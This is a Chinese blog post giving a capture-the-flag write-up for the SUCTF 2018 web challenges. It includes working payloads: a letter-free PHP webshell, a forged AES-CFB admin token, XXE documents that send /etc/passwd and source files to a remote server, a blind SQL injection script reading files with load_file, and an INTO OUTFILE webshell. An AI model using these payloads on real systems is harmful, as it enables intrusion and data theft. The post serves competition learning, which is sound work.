美文网首页信息安全CTF我爱编程
[SUCTF] SUCTF web题目 writeup

[SUCTF] SUCTF web题目 writeup

作者: ckj123 | 来源:发表于2018-05-28 22:18 被阅读184次

    SUCTF

    这周末打了suctf,协会的大佬们都去参加tctf了,
    都没人打pwn了,不过最终成绩还可以
    不过恭喜协会大佬tctf新人赛第一,出征defcon
    没啥会做,只能赛后复现一遍。。
    (看了官方的wp发现全是非预期)

    Anonymous

    这道题一进去就有源码

    <?php
    
    $MY = create_function("","die(`cat flag.php`);");
    $hash = bin2hex(openssl_random_pseudo_bytes(32));
    eval("function SUCTF_$hash(){"
        ."global \$MY;"
        ."\$MY();"
        ."}");
    if(isset($_GET['func_name'])){
        $_GET["func_name"]();
        die();
    }
    show_source(__FILE__);
    

    看到了两个不认识的函数
    create_function()
    openssl_random_pseudo_bytes()

    看到了2017年orange出的ctf比赛的文章
    看着差不多=。=,然后一直想着绕过那个伪随机数
    openssl_random_pseudo_bytes()是存在一个cve的
    cve 2016-8867

    create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d
    https://lorexxar.cn/2017/11/10/hitcon2017-writeup/
    这里看了土土的博客2017年的hitcon的比赛
    了解到:
    当我们能够获取一个反序列化的admin对象之后,我们遇到了新的问题。

    获取flag的函数是通过create_function,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为\x00lambda_%d,这里的%d是顺序递增的。

    我们仍然可以从php的源码里找到这个问题

    https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914

        do {
            ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
        } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
        RETURN_NEW_STR(function_name);
    } else {
        zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
        RETURN_FALSE;
    

    这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

    import requests
    while True:
        r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
        print(r.text)
    

    不断跑就好了

    Getshell

    进去就是一个主页,然后你点击upload就可以
    看到在这里可以上传文件会发现有一段代码

    if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
        $data=substr($contents,5);
        foreach ($black_char as $b) {
            if (stripos($data, $b) !== false){
                die("illegal char");
            }
        }     
    } 
    

    传上去了会发现会给你地址,看下url,就明白了是文件包含
    然后利用链也有了么就是先上传
    然后再用文件包含访问那个一句话就可以getshell了

    主要的问题使要把所有的black_char测试出来看看有哪些没有被过滤
    我是用bp来测试的


    就可以知道了只有上面的那些可以通过黑名单
    这个就是一个问题,之前有看过P牛的文章就是不用字母数字的一句话
    但是要使用++和^这里被绕过了就要用别的方法了

    这时想起离别歌的博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html的方法二

    echo ~茉[$____];//s
    echo ~内[$____];//y
    echo ~茉[$____];//s
    echo ~苏[$____];//t
    echo ~的[$____];//e
    echo ~咩[$____];//m
    echo ~课[$____];//P
    echo ~尬[$____];//O
    echo ~笔[$____];//S
    echo ~端[$____];//T
    echo ~瞎[$____];//a
    

    这些只有在php7的环境下才能实现

    根据这些来上传一个php文件

    <?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
    

    $_POST[a]可以来执行系统命令
    就可以了


    HateIT

    首先扫一下站,会发现一个
    robots.txt
    admin.php
    upload/upload.php
    .git/
    upload/uploa.php不能直接访问,估计是看cookie的

    进入robots.txt

    发现有一个suenc.so

    拖入ida查看是怎么加密的,这个交给我们队的bin大佬了
    /.git/很坑,用github 的githack只能下载下来一个readme
    http://www.bugscan.net/的githack就有四个文件。。。。。惊了


    和一个纯是字节码的index.php

    前面两个通过.so里面的加密来还原

    listA = [0x49,0xfa,0x0,0xfa,0x0,0x23,0xff,0x23,0x8e,0xea,0xfa,0xf3,0xa6,0xf3,0xc6,0x8e]
    
    def decrypt(Str):
        fp2 = open('2.php','wb')
        purpose = ''
        v3 = 0
        purpose += (Str[:12])
        Str2 = Str[12:]
        for i in range(len(Str2)):
            if i % 2 == 1:
                v3 = (i + listA[v3] + v3) & 0xf
                purpose += chr((~(ord(Str2[i])) & 0xff) ^ listA[v3])
            else:
                purpose += Str2[i]
        fp2.write(purpose)
    fp = open('admin.php','rb')
    a = fp.read()
    decrypt(a)
    

    hammer肉眼还原字节码,膜一发

    <?php
    //!0 = $username, !1 = $md5, !2 = $admin, !3 = $token, !4 = $sign, !5 = $info
    if(!isset($_SESSION)) {
    }
    session_start();
    
    include_once('func.php');
    if(isset($_GET['username'])) {
    
        $username = $_GET['username'];
    
        $md5 = md5(get_identify().$username);
        $token = encrypt($username,'|',$admin,'|',$md5);
        $_SESSION['sign'] = $md5;
        $_SESSION['token'] = $token;
    }
    showImage();
    if(isset($_GET['sign'])&&isset($_GET['token']))
    {
        $sign = $_GET['sign'];
        $token = $_GET['token'];
        echo 'sign+%3A+'.$sign.'%3Cbr%3E%0A';
        echo 'token%3A+'.$token.'%3Cbr%3E%0A';
        $info = explode(decrypt($token),'|');
        echo decrypt($token);
        var_dump($info);
        if(count($info) == 3)
        {
            
            if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
            {
                $admin = $info[1];
            }
            else
            {
                die();
            }
        }
        else
        {
            die();
        }
    }
    else if(isset($_SESSION['token'])&&isset($_SESSION['sign']))
    {
        echo 'sign+%3A+'.$_SESSION['sign'].'%3Cbr%3E%0A';
        echo 'token%3A+'.$_SESSION['token'].'%3Cbr%3E%0A';
        $token = $_SESSION['token'];
        $sign = $_SESSION['token'];
        $info = explode(decrypt($token),'|');
        if(count($info) == 3)
        {
            if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
            {
                $admin = $info[1];
                echo '%3Cbr%3E'.$admin;
            }
            else
            {
                die();
            }
            
        }
        else
        {
            die();
        }
    }
    if(isset($admin))
    {
        if($admin == 3)
        {
            $_SESSION['auth'] = 'admin';
            echo '%3Ca+href%3D%27admin.php%27%3EAdmin%3C%2Fa%3E';
        }
    }
    
    

    关键地方就是要生成一个token解密之后让info[1]=3
    之后在赋值给admin,就可以进入到上传文件的地方了


    因为有秘钥很简单=。=(这里非预期了,应该是不给秘钥的,原来得用CFB重放攻击)
    加密解密的脚本都在func_decode.php
    写出token的加密脚本

    <?php
    define("KEY","8690475385984657");
    define("method","aes-128-cfb");
    define("BS",16);
    define("IDENTIFY","9850375038");
    
    function getkey(){
        return KEY;
    }
    
    function get_identify(){
        return IDENTIFY;
    }
    
    function get_token(){
        $token = '';
        for($i=0;$i<16;$i++){
            $token .= chr(rand(1,255));
        }
        return $token;
    }
    
    function to($str) {
        return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
    }
    
    function encrypt($str){
        $key = getkey();
        srand(time() / 300);
        $token = get_token();
        $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
        return base64_encode($cipher);
    }
    
    $username = 'qwer';
    $md5 = md5(get_identify().$username);
    $admin = '3';
    $token = encrypt($username . '|' . $admin . '|' . $md5);
    echo $token;
    echo "\n";
    

    就可以用admin的session进入下一关了


    审计admin.php源码


    F12跟进viewImage 跟进ImageView



    这里可以命令执行

    file的地方就可以传进去命令


    之后就是寻找flag之旅=。=
    SUCTF{KyGfsMbkYqMNATETLTYVfCPncbY6HK8G6PbnByUPU5S5xo4tUMVm}

    Homework

    拿环境复现了一遍
    lightless博客讲了xxe的详解
    https://lightless.me/archives/Research-On-XXE.html

    进入题目首先先注册然后登陆一下

    按一下计算会发现

    这样好像就是调用了calc函数,里面的三个参数正好是2 a 2

    然后就需要寻找一个php的类,然后能在调用类的时候自动传入xml=。=
    不过我不懂为什么就可以想到是xxe了

    SimpleXMLElement::__construct 创建时自动使用
    可以找到一个函数


    这道题不是很懂,就按wp来

    先创建一个obj.xml外部实体

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE try[   
    <!ENTITY % int SYSTEM "http://vps/XXE/evil.xml">  
    %int;  
    %all;  
    %send;  
    ]>
    

    evil.xml

    <!ENTITY % file  SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/wwwroot/default/index.php">
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/XXE/1.php?file=%file;'>">
    

    1.php

    $content=$_GET['file'];
    file_put_contents("content.txt",$content);
    

    构造payload

    http://www.ckj123.com:9999/show.php?module=SimpleXMLElement&args[]=http://www.ckj123.com/XXE/obj.xml&args[]=2&args[]=true
    

    不知道为什么一直500(500也没事=。=可以打过去)
    200了


    但是没有任何回显(不知道为什么)
    向辉神要了一个payload

    • payload
    module=SimpleXMLElement&args[]=<%3Fxml+version%3D"1.0"+%3F>%0A<%21DOCTYPE+r+%5B%0A<%21ELEMENT+r+ANY+>%0A<%21ENTITY+%25+sp+SYSTEM+"http%3A%2F%2Fwww.ckj123.com%2FXXE/test.xml">%0A%25sp%3B%0A%25param1%3B%0A%5D>%0A<r>%26exfil%3B<%2Fr>%0A&args[]=2
    

    payload中的xml

    <?xml version="1.0"+?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM"http://www.ckj123.com/XXE/test.xml">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>
    
    • 远程服务器上的xml文件
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://www.ckj123.com:8888/?%data;'>">
    

    终于有回显了!!!!接下来就可以做代码审计了!!

    不知道为什么我的一直没用回显

    请教了一下辉神,辉神神说可以用相对路径去读取,只要和show.php同一级
    推荐我去看一下libxml的源码(挖个坑)

    然后读取到了show.php的源码

    <?php
        include("function.php");
        include("config.php");
        include("calc.php");
    
        if(isset($_GET['action'])&&$_GET['action']=="view"){
            if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
            if(!empty($_GET['filename'])){
                $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
                $file_name=$file_info['0']['2'];
                echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
                $new_sig=mt_rand();
                sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
                die("<br>new sig:".$new_sig);
            }else{
                die("Null filename");
            }
        }
    
        $username=w_addslashes($_COOKIE['user']);
        $check_code=$_COOKIE['cookie-check'];
        $check_sql="select password from user where username='".$username."'";
        $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
        if($check_sum!==$check_code){
            header("Location: login.php");
        }
    
        $module=$_GET['module'];
        $args=$_GET['args'];
        do_api($module,$args);
    ?>
    

    看到了一个config
    function.php

    <?php
    
    function sql_result($sql,$mysql){
        if($result=mysqli_query($mysql,$sql)){
            $result_array=mysqli_fetch_all($result);
            return $result_array;
        }else{
             echo mysqli_error($mysql);
             return "Failed";
        }
    }
    
    function upload_file($mysql){
        if($_FILES){
            if($_FILES['file']['size']>2*1024*1024){
                die("File is larger than 2M, forbidden upload");
            }
            if(is_uploaded_file($_FILES['file']['tmp_name'])){
                if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                    $filehash=md5(mt_rand());
                    if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
                    $new_filename="./upload/".$filehash.".txt";
                    move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                    die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
                }else{
                    $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                    $new_filename="./upload/".$hash[0][0].".txt";
                    move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                    die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
                }
            }else{
                die("Not upload file");
            }
        }
    }
    
    
    
    function w_addslashes($string){
        return addslashes(trim($string));
    }
    
    
    
    function do_api($module,$args){
        $class = new ReflectionClass($module);
        $a=$class->newInstanceArgs($args);
    }
    ?>
    

    index.php没啥用


    这里好像有两次转义.我错了是二次注入 拿出来的时候没有过滤了可以用16进制

    但是本地测试的时候



    尴尬

    multisql

    题目是用的公开CMS

    https://github.com/Eworld97/php_audit/tree/master/VAuditDemo

    首先注册一下,看一下用户信息有个id,会发现有一个id
    http://web.suctf.asuri.org:85/user/user.php?id=22908

    试一下^发现有数字型注入点

    上传一个images,发现
    文件名规则为 md5(user_name).jpg

    会发现有文件读写权限
    目录限制/var/www/

    用mysql的file_load语句读取文件

    
    #!/usr/bin/env python
    # -*- coding:utf-8 -*-
    import requests
    
    s = requests.session()
    
    filename = "0x"+"/var/www/html/bwvs_config/waf.php".encode('hex')
    
    print filename
    
    content = "".encode("hex")
    
    for i in range(0,99999):
    
    for i in range(33,128):
    
    url = "http://web.suctf.asuri.org:85/user/user.php?id=if(hex(mid(load_file("+filename+"),1,9999))>0x"+ content + chr(i).encode('hex') +",3,1)"
    
    cookies = {"PHPSESSID":"lhctsn1getr97rpf54cp6bp6q0"}
    
    r = s.post(url = url ,cookies = cookies)
    
    if "user_id:1" in r.text:
    
    print "no"
    
    content = content + chr(i-1).encode('hex')
    
    print content.decode("hex")
    
    break
    
    else:
    
    continue**
    
    function waf($str){
    
    $black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
    
    $str = preg_replace($black_str, "@@",$str);
    
    return addslashes($str);
    
    }
    
    

    先注册一个<?=$_POST[c];?>

    再注册

    <?=$_POST[c];?>'into outfile'/var/www/html/favicon/c1.php

    退出后登录,生成shell
    就可以任意命令执行了(本地复现一直不行)不知道为什么

    相关文章

      网友评论

        本文标题:[SUCTF] SUCTF web题目 writeup

        本文链接:https://www.haomeiwen.com/subject/zlpbjftx.html